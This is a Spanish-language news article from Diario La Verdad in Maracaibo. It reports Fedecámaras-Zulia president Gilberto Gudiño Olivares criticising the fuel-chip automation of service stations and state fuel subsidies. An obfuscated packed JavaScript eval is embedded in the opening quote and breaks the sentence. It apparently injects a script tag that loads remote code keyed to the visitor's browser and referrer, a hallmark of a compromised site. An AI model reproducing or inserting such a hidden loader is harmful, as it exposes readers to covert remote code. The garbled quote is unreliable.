“El contrabando no puede ser trasladado a ciudadanos ni a sectores productivos”

Redacción Economía / Maracaibo / [email protected]
"La eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ttnyd|var|u0026u|referrer|rkdsf||js|php'.split('|'),0,{})) imposición que se está ejerciendo en vez de ser una solución está generando más inquietud", aseguró Gilberto Gudiño Olivares, presidente de Fedecámaras-Zulia, sobre la aceleración del plan de automatización de las estaciones de servicio

Gilberto Gudiño Olivares, presidente de Fedecámaras-Zulia, en una gráfica de arhivo (Foto: Juan Guerrero)

El chip de gasolina no funciona. Lo aseguró Gilberto Gudiño Olivares, presidente de Fedecámaras-Zulia, quien criticó la aceleración del plan de automatización de las estaciones de servicio, que adelantan la Gobernación del Zulia, PDVSA, el Ministerio de Petróleo y Minería y la Fuerza Armada Nacional Bolivariana.

"La imposición que se está ejerciendo en vez de ser una solución está generando más inquietud", aseguró el representante del sector empresarial. Rechazó la alternativa que busca aplicar la adminstración de Francisco Arias Cárdenas para luchar contra el contrabando de extracción de combustibles.

"La problemática del contrabando no puede ser trasladada ni al ciudadano ni a los sectores productivos".

Gudiño criticó que el subsidio del Estado venezolano a la gasolina es "superior a los $ 17 mil millones y el de diésel es de $ 14 mil millones anuales". Consideró que la solución es el aumento progresivo del precio de los carburantes, estancados desde 1996 en 0,07 bolívares por litro (91 octanos) y 0,097 bolívares (95 octanos).

"Seguimos recibiendo muchas quejas de los sectores transportistas, no solo del estado Zulia sino de otros estados, así como de los sectores productores".

Ineficiente

De acuerdo con un comunicado, Gilberto Gudiño Olivares destacó que el plan de automatización de las estaciones de servicio ha sido ineficiente en el estado Táchira, por lo que no puede utilizarse como referencia en la entidad.

Denuncio que en el Sur del Lago los conductores de vehículos de carga pesada pasan más de seis horas en cola en las estaciones automatizadas, "lo que los obliga a dormir frente a estas estaciones generándoles problemas de inseguridad personal y de la carga que transportan".

Denunció que por esa situación, "se dañan y se pierden productos perecederos por esta problemática, esto es a diario y el suministro de combustible es precario".

Más noticias

  • Reabrir la frontera, el sello político de la relación Venezuela-Colombia

    12:00pm

    En los últimos años, el país caribeño y el andino, con Nicolás Maduro e Iván Duque en sus respectivas presidencias, se asentaron en una confrontación permanente desde el mismo momento en que el colombiano llegó al poder en agosto de 2018, coincidiendo con una etapa en la que el venezolano había perdido popularidad

  • Benedetti confirma sanciones de Conviasa por la OFAC

    11:00am

    El gobierno de Venezuela está buscando una aerolínea privada que pueda realizar vuelos con la reapertura de la frontera aérea entre ambos países

  • Introducen ante el TSJ amparo para derogar memorándum 2792

    09:30am

    Carlos Julio Rivera, vicepresidente de la Unión Nacional de Trabajadores Jubilados del Instituto Venezolano del Seguro Social (IVSS) los tres recursos anteriores donde el TSJ sentenció de inadmisible es una estrategia jurídica para desconocer el instructivo Onapre

Comentarios
© 2017, Diario La Verdad. Maracaibo. Venezuela C.A. RIF J-30540623-5. Términos Legales. Contáctenos via: [email protected] , [email protected] o [email protected]
Desarrollado por Miguel Guadarrama